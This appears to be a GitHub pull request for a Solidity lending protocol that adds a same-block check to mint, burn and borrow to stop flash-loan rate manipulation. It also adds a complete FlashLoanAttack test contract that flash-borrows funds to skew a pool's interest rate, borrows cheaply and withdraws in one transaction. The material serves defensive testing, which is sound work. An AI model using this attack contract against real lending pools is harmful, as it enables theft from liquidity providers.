-
Notifications
You must be signed in to change notification settings - Fork 47
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Not in the same block #255
base: development
Are you sure you want to change the base?
Changes from all commits
c42b767
d6eae55
7c800d5
b50e442
82b8543
1c83fa7
b3e7c0e
1ef6b3a
31cfb18
e7e92ba
9835114
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -67,6 +67,8 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
/** | ||
* @notice Mint loan token wrapper. | ||
* Adds a check before calling low level _mintToken function. | ||
* This function is called by a user to provide liquidity to a loan pool. | ||
* To get back the provided underlying tokens, the user calls burn function. | ||
* The function retrieves the tokens from the message sender, so make sure | ||
* to first approve the loan token contract to access your funds. This is | ||
* done by calling approve(address spender, uint amount) on the ERC20 | ||
|
@@ -75,21 +77,26 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
* | ||
* @param receiver The account getting the minted tokens. | ||
* @param depositAmount The amount of underlying tokens provided on the | ||
* loan. (Not the number of loan tokens to mint). | ||
* deposit. (Not the number of loan tokens to mint). | ||
* | ||
* @return The amount of loan tokens minted. | ||
* */ | ||
function mint(address receiver, uint256 depositAmount) external nonReentrant hasEarlyAccessToken returns (uint256 mintAmount) { | ||
/// Temporary: limit transaction size | ||
/// @dev To avoid flash loan attacks. | ||
_checkNotInTheSameBlock(); | ||
|
||
/// @dev Temporary: limit transaction size | ||
if (transactionLimit[loanTokenAddress] > 0) require(depositAmount <= transactionLimit[loanTokenAddress]); | ||
|
||
return _mintToken(receiver, depositAmount); | ||
} | ||
|
||
/** | ||
* @notice Burn loan token wrapper. | ||
* This function is called by a loan pool liquidity provider requests | ||
* its underlying tokens back. | ||
* Adds a pay-out transfer after calling low level _burnToken function. | ||
* In order to withdraw funds to the pool, call burn on the respective | ||
* In order to withdraw funds from the pool, call burn on the respective | ||
* loan token contract. This will burn your loan tokens and send you the | ||
* underlying token in exchange. | ||
* | ||
|
@@ -99,6 +106,9 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
* @return The amount of underlying tokens payed to lender. | ||
* */ | ||
function burn(address receiver, uint256 burnAmount) external nonReentrant returns (uint256 loanAmountPaid) { | ||
/// @dev To avoid flash loan attacks. | ||
_checkNotInTheSameBlock(); | ||
|
||
loanAmountPaid = _burnToken(burnAmount); | ||
|
||
if (loanAmountPaid != 0) { | ||
|
@@ -333,6 +343,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
/// @dev Compute the worth of the total deposit in loan tokens. | ||
/// (loanTokenSent + convert(collateralTokenSent)) | ||
/// No actual swap happening here. | ||
|
||
uint256 totalDeposit = _totalDeposit(collateralTokenAddress, collateralTokenSent, loanTokenSent); | ||
require(totalDeposit != 0, "12"); | ||
|
||
|
@@ -351,7 +362,6 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
sentAmounts[4] = collateralTokenSent; | ||
|
||
_settleInterest(); | ||
|
||
(sentAmounts[1], sentAmounts[0]) = _getMarginBorrowAmountAndRate( /// borrowAmount, interestRate | ||
leverageAmount, | ||
sentAmounts[1] /// depositAmount | ||
|
@@ -869,6 +879,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
* @dev Internal sync required on every loan trade before starting. | ||
* */ | ||
function _settleInterest() internal { | ||
/// @dev To avoid flash loan attacks. | ||
uint88 ts = uint88(block.timestamp); | ||
if (lastSettleTime_ != ts) { | ||
ProtocolLike(sovrynContractAddress).withdrawAccruedInterest(loanTokenAddress); | ||
|
@@ -909,7 +920,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
|
||
/// @dev Probably not the same due to the price difference. | ||
if (collateralTokenAmount != collateralTokenSent) { | ||
//scale the loan token amount accordingly, so we'll get the expected position size in the end | ||
/// @dev Scale the loan token amount accordingly, so we'll get the expected position size in the end. | ||
loanTokenAmount = loanTokenAmount.mul(collateralTokenAmount).div(collateralTokenSent); | ||
} | ||
|
||
|
@@ -981,7 +992,12 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
uint256[5] memory sentAmounts, | ||
bytes memory loanDataBytes | ||
) internal returns (uint256, uint256) { | ||
/// @dev To avoid running when paused. | ||
_checkPause(); | ||
|
||
/// @dev To avoid flash loan attacks. | ||
_checkNotInTheSameBlock(); | ||
|
||
require( | ||
sentAmounts[1] <= _underlyingBalance() && /// newPrincipal (borrowed amount + fees) | ||
sentAddresses[1] != address(0), /// The borrower. | ||
|
@@ -1382,6 +1398,27 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin { | |
require(!isPaused, "unauthorized"); | ||
} | ||
|
||
/** | ||
* @notice Make sure caller did not perform any previous operation in the | ||
* current block. | ||
* | ||
* @dev To protect from the lending fees manipulation using flash loan we | ||
* need to prevent lending and withdrawing from the pools in the same | ||
* tx/block by the same account. | ||
* */ | ||
function _checkNotInTheSameBlock() internal { | ||
uint256 _currentBlock; | ||
|
||
/// @dev Get and buffer current block. | ||
_currentBlock = block.number; | ||
|
||
/// @dev Check there are no previous txs in this block coming from same account. | ||
require(!hasInteracted[_currentBlock][msg.sender], "Avoiding flash loan attack: several txs in same block from same account."); | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. checking against formally, you can achieve FL protection via |
||
|
||
/// @dev Update previous activity mapping. | ||
hasInteracted[_currentBlock][msg.sender] = true; | ||
} | ||
|
||
/** | ||
* @notice Adjusts the loan size to make sure the expected exposure remains after prepaying the interest. | ||
* @dev loanSizeWithInterest = loanSizeBeforeInterest * 100 / (100 - interestForDuration) | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,240 @@ | ||
pragma solidity ^0.5.17; | ||
pragma experimental ABIEncoderV2; | ||
// "SPDX-License-Identifier: Apache-2.0" | ||
|
||
import "../interfaces/IERC20.sol"; | ||
import "../openzeppelin/Ownable.sol"; | ||
import "./ITokenFlashLoanTest.sol"; | ||
|
||
/** | ||
* @title The interface of the lending pool iToken to attack. | ||
* @notice Only burn, mint and borrow functions are required. | ||
* */ | ||
interface IToken { | ||
function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid); | ||
|
||
function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount); | ||
|
||
function borrow( | ||
bytes32 loanId, /// 0 if new loan. | ||
uint256 withdrawAmount, | ||
uint256 initialLoanDuration, /// Duration in seconds. | ||
uint256 collateralTokenSent, /// If 0, loanId must be provided; any rBTC sent must equal this value. | ||
address collateralTokenAddress, /// If address(0), this means rBTC and rBTC must be sent with the call or loanId must be provided. | ||
address borrower, | ||
address receiver, | ||
bytes calldata /// loanDataBytes: arbitrary order data (for future use). | ||
) | ||
external | ||
payable | ||
returns ( | ||
uint256, | ||
uint256 /// Returns new principal and new collateral added to loan. | ||
); | ||
} | ||
|
||
/** | ||
* @title Flash Loan Attack. | ||
* @notice This contract performs a flash loan (FL) call to achieve a double goal: | ||
* 1.- Get a big amount of underlying tokens (hackDepositAmount) | ||
* during just one transaction. (FL) | ||
* 2.- Use that big amount to manipulate the loan rate of another loan pool, and | ||
* then get a borrow principal w/ an extremely low interest. | ||
* */ | ||
contract FlashLoanAttack is Ownable { | ||
/* Storage */ | ||
address iTokenToHack; /// The address of the lending pool iToken to hack. | ||
address collateralToken; /// The address of the collateral token. | ||
uint256 withdrawAmount; /// The borrowing principal. | ||
uint256 collateralTokenSent; /// The borrowing collateral. | ||
|
||
/* Events */ | ||
event ExecuteOperation(address loanToken, address iToken, uint256 loanAmount); | ||
|
||
event BalanceOf(uint256 balance); | ||
|
||
/* Functions */ | ||
|
||
/** | ||
* @notice Set the parameters of the loan pool attack. | ||
* @param _iTokenToHack The address of the lending pool iToken to hack. | ||
* @param _collateralToken The address of the collateral token. | ||
* @param _withdrawAmount The borrowing principal. | ||
* @param _collateralTokenSent The borrowing collateral. | ||
* */ | ||
function hackSettings( | ||
address _iTokenToHack, | ||
address _collateralToken, | ||
uint256 _withdrawAmount, | ||
uint256 _collateralTokenSent | ||
) external onlyOwner { | ||
iTokenToHack = _iTokenToHack; | ||
collateralToken = _collateralToken; | ||
withdrawAmount = _withdrawAmount; | ||
collateralTokenSent = _collateralTokenSent; | ||
} | ||
|
||
/** | ||
* @notice Internal launch of the FL attack. | ||
* @param underlyingToken The address of the underlying token. | ||
* @param iToken The address of the third party FL token pool. | ||
* @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
* @return Success or failure in binary format. | ||
* */ | ||
function initiateFlashLoanAttack( | ||
address underlyingToken, | ||
address iToken, | ||
uint256 hackDepositAmount | ||
) internal returns (bytes memory success) { | ||
ITokenFlashLoanTest iTokenContract = ITokenFlashLoanTest(iToken); | ||
return | ||
iTokenContract.flashBorrow( | ||
hackDepositAmount, | ||
address(this), | ||
address(this), | ||
"", | ||
abi.encodeWithSignature("executeOperation(address,address,uint256)", underlyingToken, iToken, hackDepositAmount) | ||
); | ||
} | ||
|
||
/** | ||
* @notice Send back the underlying tokens used in the hack to the FL provider. | ||
* @dev On v1 flash loans the flash loaned amount needed to be pushed back | ||
* to the FL lending pool contract. This function is doing so. | ||
* @param underlyingToken The address of the underlying token. | ||
* @param iToken The address of the third party FL token pool. | ||
* @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
* */ | ||
function repayFlashLoan( | ||
address underlyingToken, | ||
address iToken, | ||
uint256 hackDepositAmount | ||
) internal { | ||
IERC20(underlyingToken).transfer(iToken, hackDepositAmount); | ||
} | ||
|
||
/** | ||
* @notice This is the callback function passed to the FL contract. | ||
* @dev FL contract will call this function after providing the sender, | ||
* (i.e. this contract) with the funds to perform the attack. | ||
* @param underlyingToken The address of the underlying token. | ||
* @param iToken The address of the third party FL token pool. | ||
* @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
* @return Success or failure in binary format. | ||
* */ | ||
function executeOperation( | ||
address underlyingToken, | ||
address iToken, | ||
uint256 hackDepositAmount | ||
) external returns (bytes memory success) { | ||
/// @dev Event log to register the big amount of tokens have been received. | ||
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this))); | ||
|
||
/// @dev Event log to register the callback function has been called. | ||
emit ExecuteOperation(underlyingToken, iToken, hackDepositAmount); | ||
|
||
/// @dev The following code executes the hack using the funds provided by FL. | ||
hackTheLoanPool(underlyingToken, hackDepositAmount); | ||
|
||
/// @dev Payback the FL. | ||
repayFlashLoan(underlyingToken, iToken, hackDepositAmount); | ||
|
||
/// @dev Success. | ||
return bytes("1"); | ||
} | ||
|
||
/** | ||
* @notice External wrapper to initiateFlashLoanAttack. | ||
* @dev Register the underlying token balance before and after the FL. | ||
* @param underlyingToken The address of the underlying token. | ||
* @param iToken The address of the third party FL token pool. | ||
* @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
* */ | ||
function doStuffWithFlashLoan( | ||
address underlyingToken, | ||
address iToken, | ||
uint256 hackDepositAmount | ||
) external onlyOwner { | ||
bytes memory result; | ||
|
||
/// @dev Event log to register the amount of underlying tokens before FL. | ||
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this))); | ||
|
||
result = initiateFlashLoanAttack(underlyingToken, iToken, hackDepositAmount); | ||
|
||
/// @dev Event log to register the amount of underlying tokens after FL. | ||
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this))); | ||
|
||
/// @dev After loan checks and what not. | ||
if (hashCompareWithLengthCheck(bytes("1"), result)) { | ||
revert("FlashLoanAttack::failed executeOperation"); | ||
} | ||
} | ||
|
||
/** | ||
* @notice Check two payloads are equal. | ||
* @dev It compares their length and their hashes. | ||
* @param a First payload to compare. | ||
* @param b Second payload to compare. | ||
* */ | ||
function hashCompareWithLengthCheck(bytes memory a, bytes memory b) internal pure returns (bool) { | ||
if (a.length != b.length) { | ||
return false; | ||
} else { | ||
return keccak256(a) == keccak256(b); | ||
} | ||
} | ||
|
||
/** | ||
* @notice Deposit underlying tokens on loan pool to manipulate its | ||
* interest rate and borrow a principal w/ the unfair rate and get | ||
* back the underlying tokens, all of it in just one transaction. | ||
* @param underlyingToken The address of the underlying token. | ||
* @param hackDepositAmount The big amount of underlying tokens provided by the FL. | ||
* */ | ||
function hackTheLoanPool(address underlyingToken, uint256 hackDepositAmount) public { | ||
IToken iTokenToHackContract = IToken(iTokenToHack); | ||
|
||
/// @dev Allow the lending pool iTokenToHack to get a deposit | ||
/// from this contract as a lender. | ||
IERC20(underlyingToken).approve(iTokenToHack, hackDepositAmount); | ||
|
||
/// @dev Check this contract has the underlying tokens to deposit. | ||
require( | ||
IERC20(underlyingToken).balanceOf(address(this)) >= hackDepositAmount, | ||
"FlashLoanAttack contract has not the required balance: hackDepositAmount." | ||
); | ||
|
||
/// @dev Check this contract has the allowance to move the tokens | ||
/// to the lending pool. | ||
require( | ||
IERC20(underlyingToken).allowance(address(this), iTokenToHack) >= hackDepositAmount, | ||
"FlashLoanAttack contract is not allowed to move hackDepositAmount." | ||
); | ||
|
||
/// @dev Make a deposit as a lender, in order to manipulate the | ||
/// interest rate of the lending pool. | ||
iTokenToHackContract.mint(address(this), hackDepositAmount); | ||
|
||
/// @dev Check this contract has the collateral tokens to deposit. | ||
require( | ||
IERC20(collateralToken).balanceOf(address(this)) >= collateralTokenSent, | ||
"FlashLoanAttack contract has not the required balance: collateralTokenSent." | ||
); | ||
|
||
/// @dev Borrow liquidity from the pool w/ an unfair rate. | ||
iTokenToHackContract.borrow( | ||
"0x0", /// loanId, 0 if new loan. | ||
withdrawAmount, | ||
86400, /// initialLoanDuration | ||
collateralTokenSent, | ||
collateralToken, /// collateralTokenAddress | ||
address(this), /// borrower | ||
address(this), /// receiver | ||
"0x0" | ||
); | ||
|
||
/// @dev Get back the amount deposited in the first place. | ||
iTokenToHackContract.burn(address(this), hackDepositAmount); | ||
} | ||
} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If I understand correctly, you can simplify it to
mapping(address => uint256) internal lastInteraction; // account => block
and the check should be
lastInteraction[addr] < block.number
it will save some gas, mostly due to storage reuse